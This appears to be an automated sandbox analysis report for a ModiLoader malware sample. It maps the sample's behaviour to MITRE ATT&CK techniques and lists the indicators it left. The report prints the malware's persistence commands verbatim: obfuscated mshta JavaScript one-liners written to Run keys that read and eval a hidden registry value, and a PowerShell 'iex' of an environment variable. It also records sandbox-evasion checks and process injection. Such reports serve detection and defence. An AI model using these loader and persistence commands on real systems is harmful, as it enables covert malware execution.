modiloader | fb239b742eb27458418ef2b4747affba5b2c5460291fe954e3227aaf6053cf60

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Rg7dRZfD0=\"UzPlkEff\";U04V=new%20ActiveXObject(\"WScript.Shell\");cFHhG8bm2K=\"Rf\";dT8KW=U04V.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\5e056db4c6\\\\ae9e1479\");EYcwlj6=\"4zLK3e2IbG\";eval(dT8KW);DupMyoj1=\"2\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

2556 regsvr32.exe

pid	process
2556	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:p2MzILX=\"XHzl\";tj7=new%20ActiveXObject(\"WScript.Shell\");r9gxHXhd=\"4jrWS\";W7DWf=tj7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\5e056db4c6\\\\ae9e1479\");n6MKWoqL=\"wQClbDZ8X\";eval(W7DWf);gzeG7dy7=\"p\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:sgeQp0N=\"bKwEtwEa3E\";nF83=new%20ActiveXObject(\"WScript.Shell\");yR9QDIOGZ=\"AxG\";Sz1qf5=nF83.RegRead(\"HKCU\\\\software\\\\5e056db4c6\\\\ae9e1479\");xrBr1aImc0=\"jfFeqKbaT\";eval(Sz1qf5);bEB0JTI=\"kc\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2652	powershell.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe
2556	regsvr32.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2652 powershell.exe
2652 powershell.exe
2652 powershell.exe
2556 regsvr32.exe
2556 regsvr32.exe
2556 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2652 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

mshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2768 wrote to memory of 2652	2768	mshta.exe	powershell.exe
PID 2768 wrote to memory of 2652	2768	mshta.exe	powershell.exe
PID 2768 wrote to memory of 2652	2768	mshta.exe	powershell.exe
PID 2768 wrote to memory of 2652	2768	mshta.exe	powershell.exe
PID 2652 wrote to memory of 2556	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2556	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2556	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2556	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2556	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2556	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2556	2652	powershell.exe	regsvr32.exe
PID 2556 wrote to memory of 2876	2556	regsvr32.exe	regsvr32.exe
PID 2556 wrote to memory of 2876	2556	regsvr32.exe	regsvr32.exe
PID 2556 wrote to memory of 2876	2556	regsvr32.exe	regsvr32.exe
PID 2556 wrote to memory of 2876	2556	regsvr32.exe	regsvr32.exe
PID 2556 wrote to memory of 2876	2556	regsvr32.exe	regsvr32.exe
PID 2556 wrote to memory of 2876	2556	regsvr32.exe	regsvr32.exe
PID 2556 wrote to memory of 2876	2556	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\97dc361934388d33b6415270f0c9fb0b_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\97dc361934388d33b6415270f0c9fb0b_JaffaCakes118.exe"
1⤵
PID:944

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:UfOsoZ7ke="F2xE5";f8P=new%20ActiveXObject("WScript.Shell");j30lctHc="O";rA3d3t=f8P.RegRead("HKLM\\software\\Wow6432Node\\ND8idipmK\\ESU0Tqr");IbRpKFL0="iRbkhx";eval(rA3d3t);FTN8nTZ9D="W7GUtA6C";
1⤵
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zrouj
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2556

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:2876

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

T1497

File and Directory Discovery

1

T1083

System Information Discovery